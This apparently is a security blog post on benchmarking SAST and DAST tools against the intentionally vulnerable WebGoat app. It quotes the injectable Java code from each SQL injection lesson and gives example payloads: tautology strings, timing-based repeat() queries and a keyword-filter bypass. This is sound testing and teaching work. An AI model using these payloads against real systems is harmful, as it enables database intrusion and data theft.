[{"data":1,"prerenderedAt":791},["ShallowReactive",2],{"/en-us/blog/how-to-benchmark-security-tools":3,"navigation-en-us":37,"banner-en-us":437,"footer-en-us":447,"blog-post-authors-en-us-Isaac Dawson":689,"blog-related-posts-en-us-how-to-benchmark-security-tools":703,"assessment-promotions-en-us":743,"next-steps-en-us":781},{"id":4,"title":5,"authorSlugs":6,"body":8,"categorySlug":9,"config":10,"content":14,"description":8,"extension":25,"isFeatured":12,"meta":26,"navigation":27,"path":28,"publishedDate":20,"seo":29,"stem":33,"tagSlugs":34,"__hash__":36},"blogPosts/en-us/blog/how-to-benchmark-security-tools.yml","How To Benchmark Security Tools",[7],"isaac-dawson",null,"security",{"slug":11,"featured":12,"template":13},"how-to-benchmark-security-tools",false,"BlogPost",{"title":15,"description":16,"authors":17,"heroImage":19,"date":20,"body":21,"category":9,"tags":22},"How to benchmark security tools: a case study using WebGoat","When tasked to compare security tools, it's critical to understand what's a fair benchmark. We take you step by step through WebGoat's lessons and compare them to SAST and DAST results.",[18],"Isaac Dawson","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678166/Blog/Hero%20Images/benchmarking.jpg","2020-08-11","As your organization grows, the necessity for having automated security tools be a component of your development pipeline will increase. According to the latest [BSIMM10 study](https://www.bsimm.com/about.html), full-time security members represented just 1.37% of the number of developers. That's one security team member for every 73 developers. Without automated tooling assisting security teams, vulnerabilities may more easily find their way into production.\n\nWhen tasked to compare security tools, having the knowledge to judge a fair benchmark is paramount for success. We're going to take a very in-depth look at WebGoat's lessons in this blog post.\n\n## Running a fair benchmark\n\nThere are many factors that need to be taken into consideration when comparing various security tools.\n\n1. Is the tool I am testing right for my organization?\n2. Do the applications I chose to run the tools against reflect what my organization uses?\n3. Do the applications contain real security issues in real world scenarios, or are they synthetic?\n4. Are the results consistent across runs? Are they actionable?\n### Choosing the right tool\n\nSome tools are developer focused, while others may be tailored to security teams. Highly technical tools built for security teams may give better results, but if it requires domain expertise and significant tuning, it may end up being a worse choice for your organization.\nYour organization may also be more concerned about a tool which can run relatively quickly within your development pipeline. If your developers need results immediately, a SAST or DAST tool which takes hours or days to complete may be next to worthless.\n\n### Choosing applications\n\nIt's important when comparing tools that they are run against applications that have been developed in-house or closely mirror what your development teams are creating. A SAST tool that's excellent at finding Java security issues will not necessarily translate to one that's great at finding actionable issues in a NodeJS application. If your organization has a diverse set of languages you should run each tool against applications that reflect those environments.\n\n### Real world flaws\n\nApplications like [WebGoat](https://owasp.org/www-project-webgoat/) or [OWASP's Java Benchmark](https://github.com/OWASP/Benchmark) do not represent real world applications. Most vulnerabilities have been purposely injected into very simple data and code flows. The majority of flaws in WebGoat exist in the same Java class where the source of user input is defined. In reality, a large number of security issues will be hidden in nested layers of abstraction or multiple function or method calls. You'll want to ensure your test suite of applications includes real world applications and the tools can traverse these complex flows to find potential flaws.\n\nEven if a tool is excellent at finding language specific issues, it may or may not support the development team's choice in frameworks. Most SAST tools need to add support for specific frameworks. If the tool supports the language of choice but does not support the particular framework, there will be a higher chance for poor results.\n\n### Are results consistent and useful?\n\nAnalysis of applications should be run multiple times – DAST tools in particular have a difficult time with consistency due to the dynamic nature of testing live applications. Ensure each tool is run the same number of times to gather enough data points to make a clear decision.\n\nSecurity tools tend to over report issues and this can end up causing alert fatigue and reduce the value of the tool. It's important to tune the tools to reduce the number of non-actionable results. Just pay attention to how much time is required to maintain this tuning effort and be sure to include this in the final decision.\n## WebGoat as a benchmarking target\n\nWebGoat is a known vulnerable application that was built to help developers and people interested in web application security understand various flaws and risks to applications. Over the years it has seen numerous contributions to the lessons and became a de facto standard for learning about web application security.\n\nDue to the increase in popularity of this project, customers have chosen to rely on using it as a benchmark when assessing the capabilities of various SAST and DAST tools. The purpose of this post is to outline some potential pitfalls when using WebGoat as a target for analysis.\n\nWebGoat was built as a learning aid, not for benchmarking purposes. Certain methods chosen to demonstrate vulnerability do not actually result in real flaws being implemented in WebGoat. To a human attempting to exercise certain flaws, it may look like they've succeeded in finding an issue. In reality, the WebGoat application just makes it appear like they've discovered a flaw.\nThis can cause confusion when an automated tool is run against WebGoat. To a human, they expect the tool to find a flaw at a particular location. Since a number of lessons include synthetic flaws, the tools will fail to report them.\nFor this post, GitLab's Vulnerability Research Team used the v8.1.0 release of WebGoat, however a number of the issues identified will be applicable to older versions as well.\n\n## WebGoat's architecture\n\nThe focus of this post is on WebGoat and in particular as a target for benchmarking. The WebGoat repository has grown in size over the years and now includes multiple sub-projects:\n\n- webgoat-container - This project holds the static content as well as the [Spring Boot](https://spring.io/projects/spring-boot) Framework's lesson scaffolding. The frontend is built using [Backbone.js](https://backbonejs.org/).\n- webgoat-images - Contains a Vagrant file for training purposes.\n- webgoat-integration-tests - Contains test files\n- webgoat-lessons - Contains the source and resources for the lessons.\n- webgoat-server - The primary entry point for the SpringBootApplication.\n- webwolf - An entirely separate project for assisting users in exploiting various lessons.\n\nWhen building the WebGoat target application, the webgoat-container, webgoat-server and webgoat-lessons are all included into a single SpringBoot server packaged as a JAR artifact.\nFor the most part, lessons that contain legitimate flaws exist in a single class file. Certain SAST tools which implement extensive taint tracking capabilities may not be fully exercised. The end result being, SAST tools with limited capabilities will find just as many flaws as more advanced tools that can handle intra-procedural taint flows. It would be better to benchmark these tools against relatively complex applications versus comparing them with WebGoat's simplistic flaws.\n\n## Analysis methodology\nOnly the webgoat-container, webgoat-server and webgoat-lessons projects are included in our analysis of WebGoat for SAST/DAST tools. The other projects webgoat-images, webgoat-integration-tests and webwolf are not included.\nOur analysis follows the lessons and attempts to identify in the source where the flaws, if any, exist. If a lesson is a description or does not process user input, it is not included in the flaw category listing below.\nEach lesson is broken down to cover the following:\n\n- Flaw category\n- Lesson with title\n- Link as viewable from a browser\n- Source\n- Lesson's purpose - Relevant source code\n- Whether DAST/SAST would be able to find and the probability level\n    - Possible: A DAST/SAST tool should be able to find the flaw with little to no configuration changes or custom settings\n    - Probable: A DAST/SAST tool could find the flaw with some configuration changes or custom settings\n    - Improbable: A DAST/SAST tool most likely will not be able to find the flaw, due to either hardcoded values or other conditions that are not realistic\n    - Impossible: A DAST/SAST tool would not be able to find any flaw due to it being completely synthetic or other unrealistic circumstances\n- Reasoning why it can or can't be found with a SAST or DAST tool\n- Example attack where applicable.\n\nIn many places there are additional flaws that exist in the code but are not part of the lesson; we will highlight some of these but not exhaustively.\n\nPlease note this post contains spoilers, if you are new to WebGoat as a learning tool and wish to use it for study, it is recommended to do that first before reading our analysis.\n\n## (A1) Injection\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A1) Injection > SQL Injection (intro) > What is SQL?\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/1`\n\n**Source:** - webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson2.java\n\n**Lesson:**\n\nThis lesson is for practicing raw SQL queries – it allows anyone to run full SQL queries without parameterized statements.\n\n```text\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson2.java#L55-65\npublic AttackResult completed(@RequestParam String query) {\n    return injectableQuery(query);\n}\n\nprotected AttackResult injectableQuery(String query) {\n    try (var connection = dataSource.getConnection()) {\n        Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY);\n        ResultSet results = statement.executeQuery(query);\n        StringBuffer output = new StringBuffer();\n\n        results.first();\n        ...\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nIt should be relatively straightforward for a SAST tool to identify that the query comes from a known source (line 55) and is used in a statement's executeQuery method.\n\n**DAST Reasoning:**\n\nWhile it should not be difficult for a DAST tool to find such a vulnerability, most DAST tools are not built with attack strings that attempt direct SQL queries. DAST SQL Injection tests are almost always trying to inject into the middle of an already existing SQL query. There is a good chance most DAST tools will not find the `/SqlInjection/attack2` endpoint's query parameter vulnerable.\n\n**Example Attack:** - `query=(SELECT repeat('a',50000000) from information_schema.tables)` will take ~3 seconds to complete.\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Data Manipulation Language (DML)\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/2`\n\n**Source:** - webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson3.java\n\n**Lesson:**\n\nThis lesson is for practicing raw SQL queries – it allows anyone to run UPDATE/INSERT SQL queries without parameterized statements.\n\n```text\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson3.java#L56-65\n\npublic AttackResult completed(@RequestParam String query) {\n    return injectableQuery(query);\n}\n\nprotected AttackResult injectableQuery(String query) {\n    try (Connection connection = dataSource.getConnection()) {\n        try (Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) {\n            Statement checkStatement = connection.createStatement(TYPE_SCROLL_INSENSITIVE,\n                    CONCUR_READ_ONLY);\n            statement.executeUpdate(query);\n        ...\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nIt should be relatively straightforward for a SAST tool to identify that the query comes from a known source on line 56 and is used in a statement's executeUpdate method.\n\n**DAST Reasoning:**\n\nWhile it should not be difficult for a DAST tool to find such a vulnerability, most DAST tools are not built with attack strings that attempt direct SQL queries. DAST SQL Injection tests are almost always trying to inject into the middle of an already existing SQL query. There is a good chance most DAST tools will not find the `/SqlInjection/attack3` endpoint's query parameter vulnerable.\n\n**Example Attack:** - `query=insert into employees (first_name) (SELECT repeat('a', 50000000) from employees)` will take ~2 seconds to error out (where `repeat('a', 5)` takes 200ms).\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Data Definition Language (DDL)\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/3`\n\n**Source:** - webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson4.java\n\n**Lesson:**\n\nThis lesson is for practicing raw SQL queries – it allows anyone to create tables via SQL queries without parameterized statements.\n\n```text\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson4.java#L52-59\n\npublic AttackResult completed(@RequestParam String query) {\n    return injectableQuery(query);\n}\n\nprotected AttackResult injectableQuery(String query) {\n    try (Connection connection = dataSource.getConnection()) {\n        try (Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) {\n            statement.executeUpdate(query);\n        ...\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nIt should be relatively straightforward for a SAST tool to identify that the query comes from a known source on line 53 and is used in a statement's executeUpdate method.\n\n**DAST Reasoning:**\n\nWhile it should not be difficult for a DAST tool to find such a vulnerability, most DAST tools are not built with attack strings that attempt direct SQL injection queries. DAST SQL Injection tests are almost always trying to inject into the middle of an already existing SQL query. There is a good chance most DAST tools will not find the /SqlInjection/attack4 endpoint's query parameter vulnerable to sql injection.\n\n**Example Attack:** - `query=insert into employees (first_name) (SELECT repeat('a', 50000000) from information_schema.tables)` will take ~2 seconds to error out (where `repeat('a', 5)` takes 200ms).\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Data Control Language (DCL)\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/4`\n\n**Source:** - webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5.java\n\n**Lesson:**\n\nThis lesson is for practicing raw SQL queries – it pretends to allow users to run grant/alter on tables via SQL queries. However, it is not calling any SQL functionality.\n\n```text\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5.java#46-51\n\nString regex = \"(?i)^(grant alter table to [']?unauthorizedUser[']?)(?:[;]?)$\";\nStringBuffer output = new StringBuffer();\n\n// user completes lesson if the query is correct\nif (query.matches(regex)) {\n    output.append(\"\u003Cspan class='feedback-positive'>\" + query + \"\u003C/span>\");\n```\n\n**Can SAST Find?** - Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThis is a synthetic vulnerability that does not actually call any database functionality.\n\n**DAST Reasoning:**\n\nThis is a synthetic vulnerability that does not actually call any database functionality.\n\n---\n\n### (A1) Injection > SQL Injection (intro) > What is SQL injection?\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/5`\n\n**Source:** - Static content only\n\n**Lesson:**\n\nThis lesson is for practicing SQL Injection query string generation, but does not call any server side functionality.\n\n**Can SAST Find?** - Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThis lesson does not actually call any server side functionality.\n\n**DAST Reasoning:**\n\nThis lesson does not actually call any server side functionality.\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Try It! String SQL injection\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/8`\n\n**Source:** - webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5a.java\n\n**Lesson:**\n\nThis lesson provides a form for testing out SQL Injection against database functionality with the goal of returning all results from a table.\n\n```text\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5a.java#L53-L54\n\npublic AttackResult completed(@RequestParam String account, @RequestParam String operator, @RequestParam String injection) {\n    return injectableQuery(account + \" \" + operator + \" \" + injection);\n...\n\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5a.java#L57-62\n\nprotected AttackResult injectableQuery(String accountName) {\n    String query = \"\";\n    try (Connection connection = dataSource.getConnection()) {\n        query = \"SELECT * FROM user_data WHERE first_name = 'John' and last_name = '\" + accountName + \"'\";\n        try (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE)) {\n            ResultSet results = statement.executeQuery(query);\n    ...\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `executeQuery` method is called from a dynamically concatenated string containing user input.\n\n**DAST Reasoning:**\n\nThe three inputs `account`, `operator` and `injection` are all concatenated together and each parameter could technically be used as an attack vector. In this case a DAST tool will most likely suffer from over reporting duplicate flaws, as the three input vectors all end up being used in the same resultant query string.\n\n**Example Attack(s):**\n- `account=Smith' or 1%3d1--&operator=&injection=`\n- `account=&operator=Smith' or 1%3d1--&injection=`\n- `account=&operator=&injection=Smith' or 1%3d1--`\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Try It! Numeric SQL injection\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/9`\n\n**Source:** - webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\n\n**Lesson:**\n\nThis lesson provides a form for testing out SQL Injection when the column type is restricted to numerical values. The goal is to return all results from a table. While the resultant query does make use of prepared statements, it incorrectly concatenates user input for the `userid` column.\n\n```text\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java#L56-71\n\nString queryString = \"SELECT * From user_data WHERE Login_Count = ? and userid= \" + accountName;\ntry (Connection connection = dataSource.getConnection()) {\n        PreparedStatement query = connection.prepareStatement(queryString, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n        ...\n        ResultSet results = query.executeQuery();\n        ...\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nWhile the query is correctly used in a PreparedStatement only the `Login_Count` is parameterized, the `accountName` is still dynamically assigned, leading to SQL Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into both parameters, and provided the correct attack string is used, should successfully identify that the `userid` parameter is vulnerable to SQL Injection.\n\n**Example Attack:**\n- `login_count=1&userid=1+or+1%3D1`\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Compromising confidentiality with String SQL injection\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/10`\n\n**Source:** - webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\n\n**Lesson:**\n\nThis lesson provides a form for testing out SQL Injection where the goal is to return all results from a table.\n```text\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java#L59-65\n\nString query = \"SELECT * FROM employees WHERE last_name = '\" + name + \"' AND auth_tan = '\" + auth_tan + \"'\";\n\ntry (Connection connection = dataSource.getConnection()) {\n    try {\n        Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE);\n        log(connection, query);\n        ResultSet results = statement.executeQuery(query);\n...\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `name` and `auth_tan` user supplied values are dynamically assigned to a query string, leading to SQL Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into both parameters which are valid attack vectors leading to exploitable SQL Injection.\n\n**Example Attack:**\n- `name=&auth_tan=1'+or+1%3D1--`\n- `name=1'+or+1%3D1--&auth_tan=`\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Compromising Integrity with Query chaining\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/11`\n\n**Source:** - webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\n\n**Lesson:**\n\nThis lesson provides a form for testing out SQL Injection where the goal is to modify a users salary.\n```text\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java#L61-66\n\nString query = \"SELECT * FROM employees WHERE last_name = '\" + name + \"' AND auth_tan = '\" + auth_tan + \"'\";\ntry (Connection connection = dataSource.getConnection()) {\n    try {\n        Statement statement = connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE);\n        SqlInjectionLesson8.log(connection, query);\n        ResultSet results = statement.executeQuery(query);\n...\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `name` and `auth_tan` user supplied values are dynamically assigned to a query string, leading to SQL Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into both parameters `name` and `auth_tan` which are valid attack vectors leading to exploitable SQL Injection.\n\n**Example Attack:**\n- `name=&auth_tan=1'+or+1%3D1--`\n- `name=1'+or+1%3D1--&auth_tan=`\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Compromising Availability\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/12`\n\n**Source:** - webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\n\n**Lesson:**\n\nThis lesson provides a form for testing SQL Injection where the goal is remove evidence of attacks.\n\n```text\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java#L58-63\n\nString query = \"SELECT * FROM access_log WHERE action LIKE '%\" + action + \"%'\";\n\n        try (Connection connection = dataSource.getConnection()) {\n            try {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n                ResultSet results = statement.executeQuery(query);\n...\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe action user supplied values are dynamically concatenated to a query string, leading to SQL Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into the action_string parameter, leading to exploitable SQL Injection.\n\n**Example Attack:**\n- `action_string=1'+or+1%3D1--`\n\n---\n\n### (A1) Injection > SQL Injection (advanced) > Try It! Pulling data from other tables\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjectionAdvanced.lesson/2`\n\n**Source:** - webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java\n\n**Lesson:**\n\nThis lesson is to demonstrate how to extract data from tables other than the one the query was defined to execute against.\n\n```text\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java#L60-67\n\nquery = \"SELECT * FROM user_data WHERE last_name = '\" + accountName + \"'\";\n//Check if Union is used\nif (!accountName.matches(\"(?i)(^[^-/*;)]*)(\\\\s*)UNION(.*$)\")) {\n    usedUnion = false;\n}\ntry (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n        ResultSet.CONCUR_READ_ONLY)) {\n    ResultSet results = statement.executeQuery(query);\n...\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `accountName` user supplied value is dynamically assigned to a query string, leading to SQL Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into the `userid_6a` parameter, leading to exploitable SQL Injection.\n\n**Example Attack:**\n- `userid_6a=1'+or+1%3D1--`\n\n---\n\n### (A1) Injection > SQL Injection (advanced) > (no title)\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjectionAdvanced.lesson/4`\n\n**Source:** - webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\n\n**Lesson:**\n\nThis lesson is a challenge to attempt to extract data from the database that leads to the attacker being able to login as a different user by executing SQL Injection attacks.\n\n```text\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java#L63-65\n\nString checkUserQuery = \"select userid from sql_challenge_users where userid = '\" + username_reg + \"'\";\nStatement statement = connection.createStatement();\nResultSet resultSet = statement.executeQuery(checkUserQuery);\n...\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `username_reg` user supplied value is dynamically assigned to a query string, leading to SQL Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into the `username_reg` parameter with a timing or blind sql injection based attack string, leading to exploitable SQL Injection.\n\n**Example Attack:**\n- `username_reg='%2b(select+repeat('a', 50000000)+from+information_schema.tables)%2b'&email_reg=asdf&password_reg=asdf&confirm_password_reg=asdf`\n\n---\n\n### (A1) Injection > SQL Injection (mitigation) > Input validation alone is not enough!! (Lesson 9)\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjectionMitigations.lesson/8`\n\n**Source:** - webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlOnlyInputValidation.java\n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java\n\n**Lesson:**\nThis lesson demonstrates filtering of user input not being sufficient for protecting against SQL injection attacks. This particular case looks to see if the input string contains a space and returns an error if it does.\n```text\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlOnlyInputValidation.java#L48-L52\n\npublic AttackResult attack(@RequestParam(\"userid_sql_only_input_validation\") String userId) {\nif (userId.contains(\" \")) {\n    return failed(this).feedback(\"SqlOnlyInputValidation-failed\").build();\n}\nAttackResult attackResult = lesson6a.injectableQuery(userId);\n...\n\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java#56-67\n\npublic AttackResult injectableQuery(String accountName) {\n    String query = \"\";\n    try (Connection connection = dataSource.getConnection()) {\n        boolean usedUnion = true;\n        query = \"SELECT * FROM user_data WHERE last_name = '\" + accountName + \"'\";\n        //Check if Union is used\n        if (!accountName.matches(\"(?i)(^[^-/*;)]*)(\\\\s*)UNION(.*$)\")) {\n            usedUnion = false;\n        }\n        try (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                ResultSet.CONCUR_READ_ONLY)) {\n            ResultSet results = statement.executeQuery(query);\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nSAST tools would most likely be flag this as a flaw existing under the `webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java` class. The `SqlOnlyInputValidation.java` file is calling the same method, but the vulnerability exists in `SqlInjectionLesson6a.java`. Where the flaw is reported depends on how the SAST tool was designed. For example if the SAST tool is capable of tracking taint across intra-procedural calls it may flag the call to `lesson6a.injectableQuery(userId)` on line 52. If the SAST tool was designed to only parse the Abstract Syntax Tree (AST) it may only report the flaw in `SqlInjectionLesson6a.java` on line 67.\n\n**DAST Reasoning:**\n\nAny input filtering done on potential attack vectors makes it more difficult for DAST tools to identify exploitable issues. There is a chance some DAST tools would not find the `userid_sql_only_input_validation` parameter vulnerable to SQL Injection.\n\n**Example Attack:**\n- `userid_sql_only_input_validation='%2b(SELECT/**/repeat(char(60),50000000)from/**/information_schema.tables)%2b'`\n\n---\n\n### (A1) Injection > SQL Injection (mitigation) > Input validation alone is not enough!! (Lesson 10)\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjectionMitigations.lesson/9`\n\n**Source:** - webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlOnlyInputValidationOnKeywords.java\n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java\n\n**Lesson:**\nThis lesson demonstrates filtering of user input not being sufficient for protecting against SQL Injection attacks. This particular case looks to see if the input string contains `SELECT` or `FROM` keywords and replaces them with empty strings, it additionally checks if the input contains a space and returns an error if it does.\n```text\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlOnlyInputValidationOnKeywords.java#L48-L53\n\npublic AttackResult attack(@RequestParam(\"userid_sql_only_input_validation_on_keywords\") String userId) {\n    userId = userId.toUpperCase().replace(\"FROM\", \"\").replace(\"SELECT\", \"\");\n    if (userId.contains(\" \")) {\n        return failed(this).feedback(\"SqlOnlyInputValidationOnKeywords-failed\").build();\n    }\n    AttackResult attackResult = lesson6a.injectableQuery(userId);\n    ...\n\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java#56-67\n\npublic AttackResult injectableQuery(String accountName) {\n    String query = \"\";\n    try (Connection connection = dataSource.getConnection()) {\n        boolean usedUnion = true;\n        query = \"SELECT * FROM user_data WHERE last_name = '\" + accountName + \"'\";\n        //Check if Union is used\n        if (!accountName.matches(\"(?i)(^[^-/*;)]*)(\\\\s*)UNION(.*$)\")) {\n            usedUnion = false;\n        }\n        try (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                ResultSet.CONCUR_READ_ONLY)) {\n            ResultSet results = statement.executeQuery(query);\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nSAST tools would most likely flag this as a flaw existing under the `webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java` class. The `SqlOnlyInputValidationOnKeywords.java` file is calling the same method, but the vulnerability exists in `SqlInjectionLesson6a.java`. Where the flaw is reported depends on how the SAST tool was designed. For example if the SAST tool is capable of tracking taint across intra-procedural calls it may flag the call to `lesson6a.injectableQuery(userId)` on line 53. If the SAST tool was designed to only parse the Abstract Syntax Tree (AST) it may only report the flaw in `SqlInjectionLesson6a.java` on line 67.\n\n**DAST Reasoning:**\n\nAny input filtering done on potential attack vectors makes it much more difficult for DAST tools to identify exploitable issues. There is a good chance most DAST tools would not find the `userid_sql_only_input_validation_on_keywords` parameter vulnerable.\n\n**Example Attack:**\n- `userid_sql_only_input_validation_on_keywords='%2b(SELselectECT/**/repeat(char(60),50000000)FRfromOM/**/information_schema.tables)%2b'`\n\n---\n\n### (A1) Injection > SQL Injection (mitigation) > (no title) (Lesson 12)\n\n**Link:** `http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjectionMitigations.lesson/11`\n\n**Source:** - webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java\n\n**Lesson:**\nThis lesson includes a SQL Injection vulnerability in a column field of a SQL query, which can not be specified by a parameter in a parameterized query. As such, it uses a dynamically generated query string with user input for specifying the column name.\n\n```text\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java#L69-L74\n\n public List\u003CServer> sort(@RequestParam String column) throws Exception {\n    List\u003CServer> servers = new ArrayList\u003C>();\n\n    try (Connection connection = dataSource.getConnection();\n            PreparedStatement preparedStatement = connection.prepareStatement(\"select id, hostname, ip, mac, status, description from servers  where status \u003C> 'out of order' order by \" + column)) {\n        ResultSet rs = preparedStatement.executeQuery();\n        ...\n```\n\n**Can SAST Find?** - Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nWhile the SQL query is a prepared statement, the column field can not be specified as a `parameter` in a parameterized query. A SAST tool should identify that the query string is concatenated with user input on line 73.\n\n**DAST Reasoning:**\n\nA DAST tool, if it is able to find the `/WebGoat/SqlInjectionMitigations/servers` endpoint, should be able to exploit the column based SQL injection issue.\n\n**Example Attack:**\n- 